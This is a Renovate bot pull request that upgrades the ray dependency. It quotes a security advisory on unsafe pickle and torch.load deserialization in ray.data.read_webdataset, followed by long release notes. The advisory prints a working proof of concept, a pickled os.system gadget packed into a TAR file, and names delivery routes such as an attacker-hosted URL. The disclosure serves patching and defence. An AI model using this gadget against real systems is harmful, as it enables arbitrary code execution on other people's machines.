chore(deps): Update dependency ray to >=2.56.0 [SECURITY] by renovate[bot] · Pull Request #1085 · VMAFx/vmafx

renovate · 2026-07-13T10:53:54Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
ray	`>=2.55.1` → `>=2.56.0`

Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)

CVE-2026-57516 / GHSA-hhrp-gw25-jr43 / PYSEC-2026-2273

More information

Details

Summary

ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha")
reader for WebDataset-format TAR files. Its default decoder=True invokes
_default_decoder on every sample's keys, which routes file extension to a
decoder by extension. Two of those branches deserialize attacker-controlled
bytes with no validation:

.pickle / .pkl -> pickle.loads(value)
.pt / .pth -> torch.load(io.BytesIO(value), weights_only=False)

Both fire during a standard ray.data.read_webdataset(...).take_all() /
.iter_batches() call. No flags, no opt-in, no environment variable.
An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,
email attachment, model-zoo, or any HTTP URL the user passes to
read_webdataset) achieves arbitrary code execution in the calling
Ray process at schema-sample time, before row data is consumed.

This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow
Extension Type cloudpickle deserialization, patched in 2.55.0): standard
data-loading API, attacker-controlled file format, deserialization gadget
invoked transparently. The 2.55.0 patch addressed
tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle
opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The
WebDataset path is a different code site and was not touched.

Vulnerable code (HEAD `a157d4d`)

python/ray/data/_internal/datasource/webdataset_datasource.py lines
175-225, the _default_decoder function:

def _default_decoder(sample, format=True):
    sample = dict(sample)
    for key, value in sample.items():
        extension = key.split(".")[-1]
        ...
        elif extension in ["pt", "pth"]:
            import torch
            # PyTorch 2.6 changed torch.load default weights_only=True, which
            # breaks loading general Python objects previously serialized for
            # WebDataset .pt payloads.
            sample[key] = torch.load(io.BytesIO(value), weights_only=False)   # line 219
        elif extension in ["pickle", "pkl"]:
            import pickle
            sample[key] = pickle.loads(value)                                 # line 223
    return sample

The comment for the .pt/.pth branch is itself a security smell: it
documents that the maintainer chose weights_only=False to override
PyTorch 2.6's safer default. The comment treats this as a compatibility
fix; it functionally re-enables an arbitrary-code-execution path that
upstream PyTorch closed.

Reachability and default-on confirmation

python/ray/data/read_api.py:2289 defines read_webdataset with default
decoder=True:

@&#8203;PublicAPI(stability="alpha")
def read_webdataset(
    paths,
    *,
    ...
    decoder: Optional[Union[bool, str, callable, list]] = True,
    ...
) -> Dataset:
    ...
    datasource = WebDatasetDatasource(paths, decoder=decoder, ...)

WebDatasetDatasource._read_stream (line 367) calls the decoder
unconditionally when not None:

for sample in samples:
    if self.decoder is not None:
        sample = _apply_list(self.decoder, sample, default=_default_decoder)

True is not None evaluates True, so the default decoder fires for every
invocation that doesn't explicitly pass decoder=None (or a custom safe
decoder). The documentation does not warn about the behavior.

End-to-end reproduction

Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray
reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):

import io, os, pickle, subprocess, tarfile, tempfile, sys

MARKER = "/tmp/ray_webdataset_poc_rce_marker"

class Gadget:
    def __reduce__(self):
        cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
               f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
        return (os.system, (cmd,))

with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
    tar_path = f.name
with tarfile.open(tar_path, "w") as tar:
    for name, body in (("000000.txt", b"hello"),
                       ("000000.pkl", pickle.dumps(Gadget()))):
        ti = tarfile.TarInfo(name=name); ti.size = len(body)
        tar.addfile(ti, io.BytesIO(body))

import ray, ray.data
ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
ds = ray.data.read_webdataset(paths=[tar_path])
rows = ds.take_all()
assert os.path.exists(MARKER), "no RCE"
print(open(MARKER).read())

Output:

ray version: 2.55.1
crafted /tmp/tmpjpos115h.tar (10240 bytes)
ds.take_all() returned 1 row(s)
RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:
    RCE via ray.data.read_webdataset
    pid=248816
    user=xyz

The .pt/.pth variant is the exact same primitive against the
torch.load(io.BytesIO(value), weights_only=False) branch; replace the
TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.

Real-world delivery vectors

paths=["s3://bucket/poisoned.tar"] -- the user thinks they are reading
a WebDataset shard; the bucket is shared, mis-permissioned, or
compromised.
paths=["https://attacker/model.tar"] -- HTTP-served WebDataset.
HuggingFace Hub -- WebDataset is a recognized HF dataset format; users
pull TAR shards via datasets and feed them to Ray Data.
Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.

Why GHSA-mw35 doesn't cover this

GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback
by gating cloudpickle.loads behind
RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches
the Parquet ExtensionType deserialization path only. The advisory text
does not mention WebDataset, the WebDataset code is in a different
module, and the unsafe loads here use pickle.loads and
torch.load(weights_only=False) (not cloudpickle.loads).

Suggested patch

Two minimal options, both Ray-internal:

Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix
pattern. Replace the .pt/.pth and .pkl/.pickle branches with a
guard:

import os
_ALLOW_UNSAFE = os.environ.get(
    "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0"
) == "1"

elif extension in ["pt", "pth"]:
    if not _ALLOW_UNSAFE:
        raise ValueError(
            f"Refusing to load .pt/.pth member {key!r} from WebDataset "
            f"with weights_only=False. Set "
            f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted "
            f"sources."
        )
    sample[key] = torch.load(io.BytesIO(value), weights_only=False)

elif extension in ["pickle", "pkl"]:
    if not _ALLOW_UNSAFE:
        raise ValueError(
            f"Refusing to unpickle WebDataset member {key!r} -- "
            f"untrusted pickle is RCE. Provide your own decoder "
            f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for "
            f"trusted sources."
        )
    sample[key] = pickle.loads(value)

Drop these branches from the default decoder entirely and require
callers to provide their own decoder when working with .pkl/.pt
samples. This is the safer default, matches WebDataset upstream's
guidance ("by default, use safe decoders"), and is consistent with
the spirit of the GHSA-mw35 patch.

Either option flips the default-on RCE primitive into an explicit
opt-in. The current default-on behavior provides no signal to users
that calling ray.data.read_webdataset on an untrusted TAR is
equivalent to running attacker code.

References

Source: python/ray/data/_internal/datasource/webdataset_datasource.py:175-225
Public API: python/ray/data/read_api.py:2287-2370 (read_webdataset)
Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet
Arrow Extension Type, patched 2.55.0)
Earlier related advisory: PR #45084 (2024) fixed PyExtensionType
cloudpickle but did not touch the WebDataset decoder.
WebDataset format: https://github.com/webdataset/webdataset

Severity

CVSS Score: 8.6 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

CVE-2026-57516 / GHSA-hhrp-gw25-jr43 / PYSEC-2026-2273

More information

Details

Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution by supplying a malicious tar archive to the read_webdataset() function. The _default_decoder() function in webdataset_datasource.py unconditionally calls pickle.loads() on tar entries with .pkl/.pickle extensions and torch.load() with weights_only=False on .pt/.pth entries, executing arbitrary code inside Ray remote workers on every worker that processes the malicious archive.

Severity

CVSS Score: 8.6 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

Release Notes

ray-project/ray (ray)

`v2.56.0`

Compare Source

Highlights

Ray Data Stability: In this Ray release, we've added a variety of stability improvements, including running multiple datasets in a cluster, adding automatic batch size selection to CPU-based map-batches, and default logical memory configuration to prevent OOMs. We've also tightened iter_batches stability by reducing hidden buffering and shutting down the executor when consumers exit early (#63660, #63682, #62949). This reduces object-store spilling for common training workloads
Ray Serve: We re-architected Ray Serve LLM by decoupling request handling from token streaming response path (#62667, #62680, #62668, #62669, #63167), resulting in significant LLM serving performance improvements. We've also introduced new routing policies such as session-sticky routing via consistent hashing with ConsistentHashRouter (#62905, #63096, #62906) and CapacityQueueRouter (#62323) which is beneficial for supply-constrained workloads.
Ray Core: We've added GPU-domain-aware placement groups using label locality (#61442, #61614, #62487, #62533). This enables placement groups to pack bundles onto nodes that share a ray.io/gpu-domain label instead of only packing at the single-node level. We've also added initial Kubernetes in-place pod resizing support for Autoscaler v2 (#55961, #62369, #62215), enabling Ray clusters to resize CPU and memory on existing worker pods before scaling out new pods.

Ray Data

🎉 New Features

Support multiple datasets per cluster via subcluster labels and resource partitioning (#63331, #63375, #63982)
Add Dataset.mix() public API and MixOperator for weighted dataset mixing (#63168, #62450)
New DataSourceV2 framework: ParquetDatasourceV2, chunked reader, predicate splitting, listing/scanner infra (#63113, #63454, #63163, #62975, #63027, #62182)
Add batch_size='auto' to map_batches to derive batch row count from target row batch size (#62648)
Implement distributed upsert for Iceberg using task-based merge algorithm, preventing performance bottleneck on driver (#63482)
Add include_row_hash to read_parquet (#61408)
Add JAX data iterator (#61630)
Expose flag to run read tasks on isolated worker processes via isolate_read_workers (#63490)
Expose flag to set default logical memory for map operators via default_map_logical_memory_enabled (#63814)
Support predicate pushdown for Lance format (#61400)
Support per-partition start_offset and end_offset for read_kafka (#61620)
Add obstore async download backend for download operator (#61735)
Support UDF retries on transient exceptions (#63023)

💫 Enhancements

Fix iter_batches spilling by replacing make_async_gen with iter_threaded and reducing buffered batches (#63660, #63682)
Gate restore_original_order in iter_batches behind preserve_order (#63792)
Convert drop_columns to a Project logical operator when input schema is known (#63813)
Make ConcatAggregation and TurbopufferDatasink use polars for sorting (#61904)
Boost and vectorize hash_partition with sort_indices, zero-copy slices, and pandas (#63498, #62757, #63152, #62587)
Enable GPU_SHUFFLE in grouped_data.py (#62410)
Eager StarExpr expansion, schema inference for non-black-box UDFs, and Expressions struct support (#63776, #63387, #62560)
Make logging configurable via RAY_DATA_LOG_LEVEL and log RAY_DATA env vars at execution start (#63487, #63380)
Display and track logical memory in progress bar (#63379)
Honor compute= in filter(expr=...) and deprecate concurrency= (#63576)
Enable filter pushdown through StreamingRepartition and read stage column-rename removal (#62347, #63384, #63582)
Cache deserialized Arrow schemas in BlockMetadataWithSchema (#63462)
Track scheduling-loop step duration (p50/p90/max), peak USS/object-store memory, and task block locality (#63586, #63345, #63489, #63418, #62249)
Replace TaskDurationStats and Timer with DistributionTracker (#63488, #63530, #63825)
Introduce BlockEntry on RefBundle in place of (ref, metadata) tuples (#63654)
Pre-resolve filesystem in threaded download to avoid IMDS herd (#62898)
Convert logical operators to frozen dataclasses and consolidate operator base/repr (#62593, #62568, #62400, #63137, #63140, #63108)
Non-blocking default autoscaling coordinator and resource-aware auto-downscaling (#62725, #62574)
Release pinned blocks after dataset execution and shut down executor on early DataIterator exit (#62456, #62949)
Optimize local shuffle with incremental index and configurable compaction threshold (#62539)
Speed up checkpoint filter and reduce memory usage (#60294)
Preserve Arrow types through pandas roundtrip and reorder block columns by name before schema ops (#63017, #63582)
Block pickle object columns when reading untrusted Parquet and gate unsafe WebDataset deserialization (#63470, #63469)
Move backpressure escape hatch across all policies (#63539)
Update pandas, modin, and pyarrow minimum versions (#62899)
Add utilization monitoring and correct logical resource usage for ActorPool (#61987, #61528)
Deprecate ConcurrencyCapBackpressurePolicy, DataIterator.to_torch, and pandas UDF batches (#63392, #62540, #61733)
Rank actors per node in a heap and avoid re-exporting actor class via .options (#62309, #62722)
read_delta reads from preconfigured pyarrow dataset (#61721)
Include column name and target type in ArrowConversionError; reduce arrow conversion warning verbosity (#62407, #61486, #62521)
Show external consumer bytes in verbose operator progress log (#63728)
Disable DataSourceV2 by default after earlier enabling (#63674, #63326)

🔨 Fixes

Rename subcluster label key from __subcluster__ to ray-subcluster (#63982)
Fix get_or_create_stats_actor crash in Ray Client mode (#63402)
Fix datasource pushdown crashes for generic UDFExpr filter predicates (#63781)
Fix hash-shuffle aggregator memory estimation: metadata propagation, node-size clamp, column pruning (#63809)
Fix CheckpointConfig FileNotFoundError on Azure Blob Storage (#63606)
Fix silent credential drop for fsspec-S3 in download expression (#62897)
Fix missing f-string prefix in _concatenate_extension_column (#62939)
Fix HashAggregate duplicate group rows for AggregateFnV2 (#63066)
Fix JSONL read retry with advanced file cursor (#63233)
Fix read_parquet ArrowNotImplementedError for nested column types exceeding ~2GB row group (#61824)
Fix read_parquet nested-type fallback and parquet scanner memory accumulation (#63175, #62745)
Fix memory leak in DataIterator.to_torch() by switching to PyArrow (#60966)
Fix ZipOperator freeing shared blocks via _split_at_indices (#62665)
Fix concurrent writes race condition in write_parquet (#62377)
Fix GPU shuffle output ordering when using ShuffleStrategy.GPU_SHUFFLE (#62351)
Fix incorrect DatasetStat uuid propagation (#62255)
Fix none issue when DATA_ENABLE_OP_RESOURCE_RESERVATION=False (#61718)
Fix filesystem compatibility check for fsspec-wrapped PyFileSystem (#61850)
Forward try_create_dir to pyarrow.dataset.write_dataset (#58302)
Fix autoscaler bug blocking timely release of leased resources (#62592)
Ensure consistent nan_is_null/nans-as-nulls semantics in encoder (#62623, #62618)
Skip unconditional null strip in find_partition_index (#62594)
V1 _split_predicate_by_columns correctness fix (#63176)
Avoid importing cudf in _is_cudf_dataframe when cudf not loaded (#62302)
Revert raw-modulo hash partition fast path (#63097)
Remove tfx-bsl support from read_tfrecords (#63245)

📖 Documentation

Document isolate_read_workers for read_parquet (#63816)
Remove docs recommending increased object store memory proportion (#63389)
Update docs minimum version for build_processor and "auto" batch size (#61757, #62790)
Remove outdated limitation of DefaultClusterAutoscalerV2 and stale object-store-memory warnings (#62385, #62387)

Ray Serve

🎉 New Features:

Add custom ingress request router app interfaces and HAProxy ingress dispatch path (#62680, #62668, #62669, #62667)
Expose choose_replica/dispatch on deployment handles and AsyncioRouter with replica-side slot reservation (#63255, #63254, #63252)
Introduce experimental round robin router and ConsistentHashRouter for session-sticky routing (#63238, #62906, #63096, #62905)
Central capacity queue for token-based request routing via CapacityQueueRouter (#62323)
Add experimental ray-haproxy support behind RAY_SERVE_EXPERIMENTAL_PIP_HAPROXY (#62589)
Add deployment actor context API and broadcast API for deployment handles (#62532, #61472)
Add ControllerOptions for configurable controller runtime_env (#63352)
Make rolling update percentage configurable (#62160)
Support per-request timeout and disconnect in HTTP proxy path (#62867)

💫 Enhancements:

HAProxy stability improvements: wait for old workers before drain, redirect stdout/stderr, redispatch+retry-on, coalesce broadcasts, quarantine released ports (#63620, #63621, #63622, #63623, #63628)
Bind direct ingress ports to 0.0.0.0 for cross-node HAProxy routing (#62515)
HAProxy ingress request router metrics, enable splice by default, TCP_NODELAY default 1, optional retry knobs, RAY_SERVE_HAPROXY_STATS_PORT (#63356, #63531, #63353, #63415, #62979)
Resolve bundled ray-haproxy binary before RAY_SERVE_HAPROXY_BINARY_PATH; HAProxy abspath env var (#63829, #62610)
Replace socat subprocess with Python socket for HAProxy admin communication; bump HAProxy to avoid CVE-2025-11230 (#61897, #62585)
Expose controller health metrics via /api/serve/applications/ API; add max_replicas_per_node to response (#63556, #63234)
Run health check on user execution path to detect request-serving stalls (#61621)
Mark widely-used APIs as stable (#62932)
Retain recently-stopped replica logs in the dashboard (#63678)
Add observability logs for pack scheduling decisions (#63603)
Gate ingress request router body forwarding behind escape hatch (#63183)
Avoid rolling replicas for no-op config overrides (#63034)
Gate replica/deployment creation during shutdown (#62761)
Defer PG creation for TPU Serve deployments to accelerator backend (#62941)
Expose DeploymentStateManager APIs for controller access (#62950)
Add tracing support for Windows and gRPC tracing improvements (#62821, #63833)
Split node vs requested resources in deployment scheduler (#62778)
Defer DEPLOYMENT_TARGETS broadcast while replicas are RECOVERING (#62751)
Evict per-deployment LongPollHost state on deployment delete; enable logs when client stops its event loop (#62820, #63028)
Add metrics: max replica processing latency, objref resolution latency, serve_autoscaling_target_ongoing_requests (#62381, #62355, #62421)
Filter stale bootstrap observations from serve_long_poll_latency_ms (#62868)
Retry build_serve_application task on failure (#62987)
Scale down non-matching primary-label replicas first (#61488)
Refactor internal autoscaling policy state extraction into a single helper (#62452)
Catalog Ray Serve env vars (#62006)
Remove or raise clear error for deprecated deployment items; remove deprecated DeploymentMode (#63548, #63510)

🔨 Fixes:

Fix orphaned actors on controller crash during shutdown; drop and replace replicas surviving a controller crash without rank assignment (#62823, #63139)
Fix deployment actors creating 15K OS threads for sync actor classes (#62661)
Fix gang scheduling PG leak when deployment actors are starting (#62469)
Fix app-level autoscaling policy state cross-deployment contamination and state loss for skipped deployments (#62484)
Fix Serve autoscaling delay to use wall-clock time (#62144)
Fix race condition in multiplex LRU cache update using move_to_end() (#62548)
Normalize multiplexed model ID header to support proxy-transformed names (#61869)
Fix AttributeError when request_router is None in update_deployment_config (#63180)
Fix potential UnboundLocalError in ActorReplicaWrapper.check_stopped() (#63339)
Fail loud when ingress request router dispatch fails (#63215)
Fix stale _global_client cache across driver sessions (#62368)
Fix start_metrics_pusher crash when deployment has record_autoscaling_stats but no autoscaling config (#62123)
Fix high-cardinality namespace tag on long poll metrics (#62386)
Fix Java long poll timeout serialization (#61875)
Avoid destructor error when FastAPI ingress init fails (#62172)
Avoid proxy readiness future timeout race (#62194)
Avoid self-cause on non-gRPC replica exceptions (#62412)
Fix HAProxy startup timeout propagation (#61752)
Include ingress_request_router.lua.tmpl in package_data (#63145)
Revert support for root_path parameter across uvicorn versions (#62529)

📖 Documentation:

Add round robin and consistent hashing router documentation (#63636)
Introduce gang scheduling documentation (#61737)
Add deployment scope actor docs (#62735)
Add Kuberay guide for RayService with HAProxy and High Throughput mode (#62408)
Add Ray Serve office hours invite into documentation (#62176)

Ray Train

🎉 New Features

Add LoggingConfig for configuring the ray.train logger on controller and workers (#61550)
Allow DataParallelTrainer's train_fn to return data (#62021)
Add async checkpointing/validation with Torch Lightning (#62370)

💫 Enhancements

Report time spent syncing and transferring checkpoints to storage in ray.train.report(checkpoint) (#62027)
Block until create_or_update_train_run completes on Train initialization (#63432)
Implement DatasetManager (#63309)
Forward label_selector to AutoscalingCoordinator (#63287)
Add log line before launching training function (#62911)
Allow contextlib.redirect_stdout() to bypass print redirect to logs (#61075)
Add timeouts to validation functions of ray.train.report (#62916)
ray.train.report does not hang across replica group restarts; Ray Train manages replica group restarts (#62651, #61475)
Swallow RayTaskError during BackendSetupCallback shutdown (#63143)
Improve JaxTrainer TPU multi-slice fault tolerance and reservation ergonomics (#62893)
Export default data execution options (#62784)
Consolidate Train run metadata sanitization and improve readability (#63182)
Fix PlacementGroupCleaner race condition: drain queue before cleanup on controller death (#62754)
Harden against unsafe pickle deserialization (#62807)
Raise error when checkpoint is within experiment directory and delete_local_checkpoint_after_upload=True (#62555)
Add timeout_s to ray.train.get_all_reported_checkpoints (#61761)
Change remaining pytorch_lightning imports (#61291)
Make controller resilient to errors in all lifecycle hooks (#60900)
Remove Predictor from Train v1 (#63461)

🔨 Fixes

Fix missing comma in DataBatchType Union type (#63872)
Handle Arrow-backed pandas dtypes in LightGBM examples (#63427)
Fix exclude_resources regression for V1 Train + V2 cluster autoscaler (#62827)
Add missing %s to logger.debug (#63039)
Increase get_actor timeout (#62516)

📖 Documentation

Document S3-compatible storage (#63103)
Add Azure Files to persistent storage docs (#63406)
Uncomment Result.from_path in docs (#62887)
Document how to tune async validation (#62227)
Document why validation runs need unique names (#62224)

Ray Tune

💫 Enhancements

Fix Tune search for Python 3.14 (#63575)
Modernize AxSearch for Ax Platform 1.0.0+ (#60522)
Use built-in inspect for argument capture (#60049)

🔨 Fixes

Fix import count in CIFAR PyTorch tutorial (#62756)

Ray LLM

🎉 New Features

Major Ray Serve LLM performance improvement with direct streaming (#63167, #63468, #63779)
TPU support: Add topology field to LLMConfig for multi-host TPU support (#61906)
Add per-host bundles default and fix fractional TPUs for TPUAccelerator (#63177)
Enable Ray Serve LLM session-stickiness routing policy via RAY_SERVE_SESSION_ID_HEADER_KEY (#63362)

💫 Enhancements

Upgrade vLLM to 0.22.0 (#63730, #63396, #62970, #62349)
Co-locate DP rank 0 worker with advertised master address (#63803)
Add pick-only fast path to AsyncioRouter for LLM ingress (#63517)
Replace LLM ingress router replica selection with choose_replica; don't fetch LLMConfig from replicas at startup (#63280, #63065)
Promote max_tasks_in_flight_per_actor to a first-class config field and adjust defaults (#63214)
Validate accelerator_type against CPU-only configs; replace GPUType alias with AcceleratorType (#62139, #62978)
Add rate-limiter for per-request traceback spam (#62440)
Promote SGLang integration to user guide and move engine to _internal (#62570)
Lazy-load batch stage/processor submodules and make boto3/botocore imports lazy (#62861, #62383)
LLM telemetry bugfixes (#63782)

🔨 Fixes

Fix flaky GPU-0 worker and NIXL port collisions (#63810)
Fix P/D direct streaming OpenAI routing (#63679)
Remove guided_decoding, truncate_prompt_tokens, build_llm_processor (#63569)
Fix misleading ImportError when vLLM is installed but fails to import (#63305)
Fix max_pending_requests default to track vLLM's GPU-dependent max_num_seqs (#62918)
Fix HF config loading for models with custom rope_scaling (#62464)
Wait for request router init in LLMRouter constructor (#63206)
Materialize chat completion message content in sanitizer (#63119)
Fix lora_request not forwarded to vLLM engine + add regression tests (#62609)
Fix SGLangEngineProcessor telemetry for trust_remote_code models (#62102)
Fix TOKENIZER_ONLY downloads missing chat_template for S3-backed models (#62121)
Fix SGLang chat tokenize to respect add_generation_prompt (#61688)
Fix bool serialization in benchmark_vllm CLI builder (#63516)

📖 Documentation

Document multimodal pixel-budget gotchas and vLLM compatibility (#63593)
Add tokenization disaggregation documentation (#62494)
Add benchmark docs and refactor into submodules (#62204)
Remove VLLM_USE_V1 from docs and examples (#63001)
Fix wrong documented default for max_tasks_in_flight_per_actor (#62917)

Ray RLlib

🎉 New Features

Add custom_resources_per_learner config and custom_resources_for_main_process to AlgorithmConfig (#63303, #62475)
Add Importance Sampling APPO metrics to the torch learner (#63675)

💫 Enhancements

Put only one copy of weights into the object store (#63529)
Handle the all-evaluation-workers-unhealthy case uniformly across modes (#63128)
Stop IMPALA/APPO learner thread gracefully to avoid misleading error messages (#62763)
Improve invalid input error messages (#62324)

🔨 Fixes

Fix two substantial edge cases in PPO's value target calculation (#59958)
Fix EnvRunner crash loops (#62884)
Fix extra model outputs hanging val indexing (#62960)
Fix ValueError in MultiAgentEpisode.get_rewards() when an agent is inactive for all requested env steps (#62907)
Preserve Torch optimizer param-group scalar types on restore (#61937)
Fix wrong assert variable in _update_env_seed_if_necessary (#61823)
Maintain value in EMAStat (#63064)

📖 Documentation

Clarify extra model output docstrings (#63524)

Ray Core

🎉 New Features

Add support for Furiosa AI NPU (#63035) and register_collective_backend API for custom collective backends (#60701)
In-place pod resizing (IPPR) on Kubernetes 1.35: initial implementation and standalone KubeRay IPPR provider (#55961, #62369, #62215)
Label locality support: GPU-domain-aware placement groups, autoscaler proto changes, and state API observability (#61442, #61614, #62487, #62533)
Publish platform events via Ray Event Recorder and support single-event emission in the Python layer (#63329, #60858)
Autoscaler v2: priority-based worker group selection (#62997) and noDriverTimeoutSeconds for KubeRay cluster termination (#63465)
RDT: concurrent one-sided transfers for multiple ObjectRefs in ray.get (#61773), retry support (#62842), and NIXL memory deregistration via deregister_nixl_memory (#62341)
Support .tar.gz archives for remote working_dir URIs (#62813)
Add IPv6 localhost and all-interfaces support (#60023)

💫 Enhancements

Resource isolation: event-based memory monitor, multi-memory-monitor factory, time-based group killing policy, idle-worker prioritization, system/user slice bounds, and OOM policy tuning (#62060, #62705, #62643, #62378, #62168, #63521, #63324, #63067, #62957)
Compute per-component memory usage in MiB (#63932) and add host vs container memory distinction to memory panels (#63111)
Consider cgroup limit when fetching CPU (#63685) and correct worker OOM

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (in timezone Europe/Vienna)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate Bot added dependencies security labels Jul 13, 2026

renovate Bot requested a review from lusoris as a code owner July 13, 2026 10:53

renovate Bot added dependencies security labels Jul 13, 2026

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from f5fbd7f to 16af736 Compare July 25, 2026 03:13

renovate Bot changed the title ~~chore(deps): Update dependency ray to >=2.56.0 [SECURITY]~~ chore(deps): Update dependency ray to >=2.56.1 [SECURITY] Jul 25, 2026

chore(deps): Update dependency ray to >=2.56.0 [SECURITY]

35483bd

renovate Bot force-pushed the renovate/pypi-ray-vulnerability branch from 16af736 to 35483bd Compare July 25, 2026 05:55

renovate Bot changed the title ~~chore(deps): Update dependency ray to >=2.56.1 [SECURITY]~~ chore(deps): Update dependency ray to >=2.56.0 [SECURITY] Jul 25, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

chore(deps): Update dependency ray to >=2.56.0 [SECURITY] - #1085

chore(deps): Update dependency ray to >=2.56.0 [SECURITY]#1085
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-ray-vulnerability

renovate Bot commented Jul 13, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Conversation

renovate Bot commented Jul 13, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)

Details

Summary

Vulnerable code (HEAD a157d4d)

Reachability and default-on confirmation

End-to-end reproduction

Real-world delivery vectors

Why GHSA-mw35 doesn't cover this

Suggested patch

References

Severity

References

CVE-2026-57516 / GHSA-hhrp-gw25-jr43 / PYSEC-2026-2273

Details

Severity

References

Release Notes

v2.56.0

Highlights

Ray Data

🎉 New Features

💫 Enhancements

🔨 Fixes

📖 Documentation

Ray Serve

🎉 New Features:

💫 Enhancements:

🔨 Fixes:

📖 Documentation:

Ray Train

🎉 New Features

💫 Enhancements

🔨 Fixes

📖 Documentation

Ray Tune

💫 Enhancements

🔨 Fixes

Ray LLM

🎉 New Features

💫 Enhancements

🔨 Fixes

📖 Documentation

Ray RLlib

🎉 New Features

💫 Enhancements

🔨 Fixes

📖 Documentation

Ray Core

🎉 New Features

💫 Enhancements

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Jul 13, 2026 •

edited

Loading

Vulnerable code (HEAD `a157d4d`)

`v2.56.0`